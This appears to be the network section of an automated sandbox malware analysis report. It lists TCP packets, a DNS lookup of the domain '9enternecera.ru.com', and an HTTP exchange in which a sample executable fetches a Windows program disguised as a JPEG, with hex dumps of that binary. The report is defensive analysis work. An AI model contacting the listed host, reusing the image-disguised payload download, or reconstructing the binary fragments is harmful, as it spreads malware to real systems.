Nov 3, 2023 18:53:44.135471106 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.135499001 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.135540009 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.135560989 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.135658026 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.135704041 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.135727882 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.135806084 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.135853052 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.135893106 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.135932922 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.135938883 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.135968924 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.135998964 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.136061907 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.136100054 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.136106014 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.136140108 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.136143923 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.136217117 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.136467934 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.137788057 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.143275976 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.143347979 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.143381119 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.143435955 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.143513918 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.143594980 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.143634081 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.143650055 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.467736959 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.636173964 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.636195898 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.636284113 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.636293888 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.636303902 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.636324883 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.636344910 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.636369944 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.636451960 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.636470079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.636524916 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.636615038 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.636632919 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.636651039 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.636684895 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.636703968 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.636776924 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.636795998 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.636846066 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.636960030 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.636979103 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.636997938 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637016058 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637037992 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637070894 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637106895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637126923 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637144089 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637146950 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637171984 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637202978 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637202978 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637300968 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637319088 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637336969 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637355089 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637373924 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637373924 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637419939 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637422085 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637440920 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637461901 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637480021 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637511015 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637576103 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637593985 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637609005 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637614965 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637631893 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637636900 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637654066 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637665987 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637670994 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637684107 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637689114 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637706995 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637710094 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637710094 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637726068 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637739897 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637744904 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637763977 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637764931 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637782097 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637797117 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637804985 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.637835026 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.637856007 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.638165951 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.638185024 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.638201952 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.638226032 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.638243914 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.638283014 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.638302088 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.638353109 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.638492107 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.638509989 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.638528109 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.638545990 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.638546944 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.638578892 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.638613939 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.638751984 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.638770103 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.638787985 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.638806105 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.638809919 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.638833046 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.638868093 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.638906002 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.638925076 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.638973951 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.639069080 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.639086962 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.639138937 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.639259100 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.639276028 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.639292955 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.639311075 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.639312983 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.639348030 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.639378071 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.639414072 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.639431953 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.639448881 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.639481068 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.639511108 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.639641047 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.639659882 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.639677048 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.639697075 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.639733076 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.639810085 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.639926910 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:45.180751085 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:45.378278971 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:45.378418922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:45.603141069 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:45.603141069 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:45.777462006 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:45.777539015 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:45.779081106 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:45.779149055 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:45.779449940 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:45.779486895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:45.779510975 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:45.779546022 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:45.781034946 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:45.781092882 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:45.944890022 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:45.944987059 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:45.946749926 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:45.946841002 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:45.947815895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:45.947885990 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:45.955339909 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:45.955430984 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:45.958067894 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:45.959656954 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:45.962771893 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:45.964415073 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:45.967128038 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:46.112111092 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:46.114196062 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:46.116334915 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:46.119493008 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:46.120670080 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:46.123322964 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:46.125874996 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:46.128002882 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:46.129158974 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:46.132379055 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:46.172944069 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:46.198410034 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:46.198472023 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:47.041657925 CET	49711	80	192.168.2.10	103.83.194.50

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 3, 2023 18:53:41.225406885 CET	58719	53	192.168.2.10	1.1.1.1
Nov 3, 2023 18:53:41.327855110 CET	53	58719	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 3, 2023 18:53:41.225406885 CET	192.168.2.10	1.1.1.1	0xd5f8	Standard query (0)	9enternecera.ru.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 3, 2023 18:53:41.327855110 CET	1.1.1.1	192.168.2.10	0xd5f8	No error (0)	9enternecera.ru.com		103.83.194.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

9enternecera.ru.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.10	49711	103.83.194.50	80	C:\Users\user\Desktop\PmX1jHdUnS.exe

Timestamp	kBytes transferred	Direction	Data
Nov 3, 2023 18:53:41.504254103 CET	1	OUT	POST /os//6.jpg HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A Content-Length: 25 Host: 9enternecera.ru.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 2d 2d 0d 0a Data Ascii: --1BEF0A57BE110FD467A--
Nov 3, 2023 18:53:41.671566010 CET	2	IN	HTTP/1.1 200 OK Date: Fri, 03 Nov 2023 17:53:41 GMT Server: Apache Last-Modified: Thu, 06 Jun 2019 19:01:52 GMT Accept-Ranges: bytes Content-Length: 144848 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 6c 24 1c e6 0d 4a 4f e6 0d 4a 4f e6 0d 4a 4f ef 75 d9 4f ea 0d 4a 4f 3f 6f 4b 4e e4 0d 4a 4f 3f 6f 49 4e e4 0d 4a 4f 3f 6f 4f 4e ec 0d 4a 4f 3f 6f 4e 4e ed 0d 4a 4f c4 6d 4b 4e e4 0d 4a 4f 2d 6e 4b 4e e5 0d 4a 4f e6 0d 4b 4f 7e 0d 4a 4f 2d 6e 4e 4e f2 0d 4a 4f 2d 6e 4a 4e e7 0d 4a 4f 2d 6e b5 4f e7 0d 4a 4f 2d 6e 48 4e e7 0d 4a 4f 52 69 63 68 e6 0d 4a 4f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bf 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 b6 01 00 00 62 00 00 00 00 00 00 97 bc 01 00 00 10 00 00 00 d0 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 50 02 00 00 04 00 00 09 b1 02 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 03 02 00 a8 00 00 00 b8 03 02 00 c8 00 00 00 00 30 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 18 02 00 d0 1d 00 00 00 40 02 00 60 0e 00 00 d0 fe 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 ff 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 01 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cb b4 01 00 00 10 00 00 00 b6 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0a 44 00 00 00 d0 01 00 00 46 00 00 00 ba 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 07 00 00 00 20 02 00 00 04 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 30 02 00 00 04 00 00 00 04 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 60 0e 00 00 00 40 02 00 00 10 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec a1 5c 22 02 10 85 c0 75 12 e8 37 14 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$l$JOJOJOuOJO?oKNJO?oINJO?oONJO?oNNJOmKNJO-nKNJOKO~JO-nNNJO-nJNJO-nOJO-nHNJORichJOPELb["!bP@0x@`T(@l.text `.rdataDF@@.data @.rsrcx0@@.reloc`@@BU\"u7
Nov 3, 2023 18:53:41.671659946 CET	3	IN	Data Raw: 00 85 c0 74 04 33 c0 5d c3 a1 5c 22 02 10 5d ff a0 b0 01 00 00 55 8b ec a1 5c 22 02 10 85 c0 75 13 e8 12 14 00 00 85 c0 74 05 83 c8 ff 5d c3 a1 5c 22 02 10 5d ff a0 bc 01 00 00 55 8b ec a1 5c 22 02 10 85 c0 75 0e e8 ec 13 00 00 85 c0 75 0c a1 5c Data Ascii: t3]\"]U\"ut]\"]U\"uu\"]]U\"ut]\"]U\"ut3]\"]`xU\"ut]\"]U\"u[u\"]`\|]U\"
Nov 3, 2023 18:53:41.671730042 CET	5	IN	Data Raw: e8 2d 0f 00 00 85 c0 74 05 83 c8 ff 5d c3 a1 5c 22 02 10 5d ff a0 5c 03 00 00 55 8b ec a1 5c 22 02 10 85 c0 75 13 e8 07 0f 00 00 85 c0 74 05 83 c8 ff 5d c3 a1 5c 22 02 10 5d ff a0 c8 01 00 00 55 8b ec a1 5c 22 02 10 85 c0 75 13 e8 e1 0e 00 00 85 Data Ascii: -t]\"]\U\"ut]\"]U\"ut]\"]U\"ut3]\"](U\"uu\"]4]U\"ust]\"]U\"uMt3]\"]
Nov 3, 2023 18:53:41.671772003 CET	6	IN	Data Raw: 5d c3 55 8b ec a1 5c 22 02 10 85 c0 75 13 e8 19 0a 00 00 85 c0 74 05 83 c8 ff 5d c3 a1 5c 22 02 10 5d ff 60 50 55 8b ec a1 5c 22 02 10 85 c0 75 12 e8 f6 09 00 00 85 c0 74 04 33 c0 5d c3 a1 5c 22 02 10 5d ff 60 38 55 8b ec a1 5c 22 02 10 85 c0 75 Data Ascii: ]U\"ut]\"]`PU\"ut3]\"]`8U\"ut]\"]`DU\"uu\"]`<]U\"ut]\"]`@U\"unt]\"]\"uKt\"
Nov 3, 2023 18:53:41.671806097 CET	7	IN	Data Raw: 10 85 c0 75 11 e8 1c 05 00 00 85 c0 74 03 33 c0 c3 a1 5c 22 02 10 ff a0 e0 00 00 00 55 8b ec a1 5c 22 02 10 85 c0 75 0e e8 f9 04 00 00 85 c0 75 0c a1 5c 22 02 10 5d ff a0 ec 00 00 00 5d c3 55 8b ec a1 5c 22 02 10 85 c0 75 0e e8 d6 04 00 00 85 c0 Data Ascii: ut3\"U\"uu\"]]U\"uu\"]]U\"uu\"]]U\"uu\"]]U\"umt3]\"]U\"uHt]\"]
Nov 3, 2023 18:53:41.671823025 CET	9	IN	Data Raw: 10 89 3d 58 22 02 10 eb 14 a1 58 22 02 10 85 c0 74 08 50 ff 15 5c d2 01 10 59 83 c8 ff 5f 5e c3 68 af 23 00 10 68 60 22 02 10 ff 15 40 d2 01 10 59 59 c3 55 8b ec 83 ec 10 83 65 fc 00 53 56 57 ff 15 38 d2 01 10 0f be c0 50 ff 75 08 e8 f4 9f 01 00 Data Ascii: =X"X"tP\Y_^h#h`"@YYUeSVW8PuYYtj}+uFQAu+FPYtCVuS+9Guj]u3EdSEE_^[]USVWh$5 T]YYt
Nov 3, 2023 18:53:41.671838045 CET	10	IN	Data Raw: 8e 01 00 8b e5 5d c3 55 8b ec 81 ec 88 02 00 00 a1 38 22 02 10 33 c5 89 45 fc 8b 45 0c 8b 4d 10 53 8b 5d 18 56 8b 75 24 57 8b 7d 20 50 8d 85 7c ff ff ff 89 8d 78 fd ff ff 6a 40 50 e8 ef 02 00 00 ff 75 28 8d 45 bc 57 68 d8 d5 01 10 6a 20 50 e8 16 Data Ascii: ]U8"3EEMS]Vu$W} P\|xj@Pu(EWhj Pu(EVhj PEPEPu(\|VWuSuxPu\|hhP4l\|3A}(PjjXDP\|M3_^[_]U8"3EuEu
Nov 3, 2023 18:53:41.671875954 CET	11	IN	Data Raw: 75 05 6a 13 58 5d c3 56 ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 4d a6 00 00 83 c4 14 8b f0 83 3d 78 22 02 10 00 74 18 56 ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 28 fa ff ff 83 c4 18 8b c6 5e 5d c3 55 8b ec e8 4d 0e 00 00 85 c0 0f Data Ascii: ujX]VuuuuuM=x"tVuuuuu(^]UMhuut8ujX]Vu$u uuuuuucp"3 @D=x"p"t!Vu$u uuuuuu*$^]UuDVuu
Nov 3, 2023 18:53:41.671915054 CET	13	IN	Data Raw: c6 5f 33 cd 5e e8 1c 84 01 00 8b e5 5d c3 55 8b ec 81 ec 84 00 00 00 a1 38 22 02 10 33 c5 89 45 fc 83 3d 70 22 02 10 00 53 8b 5d 0c 74 05 6a 30 58 eb 71 56 57 8b 7d 10 85 ff 74 0f 57 53 e8 bf 09 00 00 8b f0 59 59 85 f6 75 2e 57 53 ff 75 08 e8 a0 Data Ascii: _3^]U8"3E=p"S]tj0XqVW}tWSYYu.WSu2uuFTYu3;!=x"tVu\|hxhP4_^M3[w]U8"3ES]VW}uHuWYYu7uWuS
Nov 3, 2023 18:53:41.671941042 CET	14	IN	Data Raw: 8b f0 83 3d 78 22 02 10 00 74 24 83 7d fc 02 74 0c 83 7d fc 03 74 06 83 7d fc 04 75 12 56 ff 75 10 ff 75 0c ff 75 08 e8 00 f2 ff ff 83 c4 10 8b c6 5e 8b e5 5d c3 55 8b ec 51 83 65 fc 00 83 3d 70 22 02 10 00 74 05 6a 30 58 eb 62 56 8d 45 fc 50 ff Data Ascii: =x"t$}t}t}uVuuu^]UQe=p"tj0XbVEPuu\uuuuu8=x"t'}t}t}uVuuuu^]UQe=p"tj0XbVEPuuuuuuu@:
Nov 3, 2023 18:53:41.838643074 CET	16	IN	Data Raw: 8b c6 89 75 e8 8b d6 89 75 ec 8b ce 89 55 f4 57 8b fe 89 75 f0 89 45 fc 89 75 f8 39 45 0c 0f 86 29 01 00 00 8b 5d 08 0f b6 1c 19 85 ff 74 1f 80 e3 c0 80 fb 80 0f 85 c5 00 00 00 83 ef 01 0f 85 a5 00 00 00 46 40 89 45 fc e9 9b 00 00 00 84 db 78 67 Data Ascii: uuUWuEu9E)]tF@ExgSFYtUEH9EJCUMMlSYtUMBUTSUYMt]CDE2E-%<u3G%<ujuj_EAM;M.
